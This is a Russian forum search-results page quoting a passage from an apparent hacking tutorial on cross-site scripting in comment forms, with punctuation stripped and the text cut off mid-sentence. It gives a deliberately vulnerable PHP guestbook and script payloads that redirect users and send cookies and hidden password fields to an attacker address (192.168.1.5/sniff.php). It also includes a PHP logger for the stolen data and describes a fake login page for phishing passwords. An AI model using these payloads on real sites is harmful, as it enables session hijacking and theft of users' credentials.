Слово
«web-страницу»впервые сказано пользователем
~Ironia~ 17.07.2008 в 22:11,
и с тех пор употреблялось
6 раз.
Сообщения со словом
«web-страницу»
Запрос выполнился за
0.0007 сек.
- 17.07.2008, 22:11. ~Ironia~ в теме
«XSS - атаки в комметариях»
... достаточно главное внедрить свой javascript код в web-страницу а дальше уже действовать по ситуации а ситуации бывают разные их изучением мы и займемся в этой главе ---------------------10 1 основы xss------------------- опять же все примеры сценариев в этой главе будут приведены на php почему повторюсь просто я его лучше знаю но это не значит что если сценарий написан на другом языке атака будет невозможной чаще всего xss подвержены web-сайты в которых используется аутентификация посредством данных хранящихся в cookies и есть возможность сохранять данные которые в дальнейшем будут отображаться на web-странице ярким примером такого web-сайта является форум давайте рассмотрим простейший пример использования уязвимости в листинге 10 1 приведен код сценария который отображает форму для ввода имени пользователя и текста сообщения полученные данные сохраняются в базе данных и отображаются на web-странице получается классическая гостевая книга листинг 10 1 html head title xss test title head body center h3 xss test h3 center hr form name messageadd method get имя input name username size 50 br сообщение textarea cols 65 name message rows 10 wrap virtual textarea br center center input type submit value send center form hr php соединение с базой данных mysql connect localhost root wf or die he могу подключиться к web-серверу выбор базы данных mysql select db udb539 or die he могу выбрать базу данных добавляем сообщение if isset get username username get username message get message result mysql query insert into nest news values null 1 1 1 username message 1 1 1 отображаем сообщения из базы result mysql query select poster name post text from minibbtable posts if mysql num rows result 0 print table width 100 border l print tr bgcolor aalblb print td font color ffffff user font td print td font color ffffff message font td print tr tr получаем результат запроса while line mysql fetch array result mysql assoc print tr print td line poster name td print td line post text td print tr print table body html he будем сейчас обращать внимание на то что в сценарии есть еще и ошибка позволяющая реализовать sql-инъекцию ведь получаемые от пользователя данные никак не проверяются нас сейчас интересует совершенно другое итак если пользователь просто оставляет текст сообщения то никаких проблем нет а что если в текст сообщения будет встроен javascript-код он будет выполнен а это серьезная уязвимость попробуем передать в тексте сообщения или имени пользователя строку script alert this is a test script эта строка является javascript-кодом который выводит на экран диалоговое окно с сообщением this is a test рис 10 1 рис 10 1 окно браузера с сообщением пока ничего страшного не произошло но предпосылки опасности уже есть первое что может натворить хакер сделать перенаправление на свою web-страницу для этого в тексте сообщения отправим следующий javascript-код script document location href http www vr-online ru script теперь при загрузке web-страницы пользователь будет перенаправлен на web-сайт указанный хакером в данном случае www vr-online ru как это можно использовать в корыстных целях помимо того что хакер получает трафик с чужого web-сайта он еще может украсть и пароли для этого можно создать web-страницу которая будет копией одной из страниц web-сайта трафик с которого воруется лучше будет создать web-страницу регистрации и попросить пользователя ввести имя и пароль заново для правдоподобности можно добавить сообщение об ошибке как будто произошел сбой авторизации ничего не подозревающий пользователь введет данннные которые будут сохранены в базе данных хакера после этого следует перенаправить пользователя туда откуда он пришел 2 10 2 перехватываем данные итак давайте сейчас посмотрим как хакер может перехватить данные пользователя например допустим что хакер добавит на форум или гостевую книгу следующий javascript-код script document location href http 192 168 1 5 sniff php test script этот код переадресует нас на web-страницу http 192 168 1 5 sniff php а в качестве параметра для примера передается слово test сценарий sniff php это программа хакера которая просто сохраняет переданный url в каком-нибудь хранилище например в текстовом файле пример такого файла может быть следующим php f fopen snif txt а fwrite f requbst ori fclose f print ok в этом примере содержимое url сохраняется в текстовом файле snif txt в нашем случае в этот файл попадет следующая строка sniff php test пока вроде ничего страшного хакер сам себе отправил сообщение test и web-сайт пока не пострадал усложняем задачу допустим что в форме отправки сообщения есть невидимое поле passws через которое передается пароль input type hidden name passws value qwerty каждый пользователь видит свой пароль а чтобы увидеть чужой необходимо его перехватить для этого хакер может внедрить на форму следующий javascript-код script document location href- httpi 192 168 1 5 sniff php document message passw value script в этом примере файлу sniff php передается содержимое невидимого поля теперь в файле snif txt хакер будет собирать пароли добропорядочных пользователей и возможно что на удочку попадется и администратор но вероятность найти подобный сценарий стремится к нулю намного чаще пароли хранятся в cookies но и их украсть не проблема достаточно только внедрить на форму следующий код script document location href http 192 168 1 5 sniff php document cookie script благодаря тому что javascript имеет доступ к cookies мы без проблем можем отправить их своему сценарию допустим что в самом начале нашего сценария в cookies устанавливаются следующие два значения php setcookie user admin time 5184000 setcookie pass qwerty time 5184000 теперь после их перехвата в файле snif txt мы увидим следующее sniff php user admin 20pass qwerty вот так вот хакеры с помощью xss воруют пароли единственный недостаток всех примеров которые описаны выше они перенаправляют пользователя на web-страницу хакера это не очень хорошо потому что...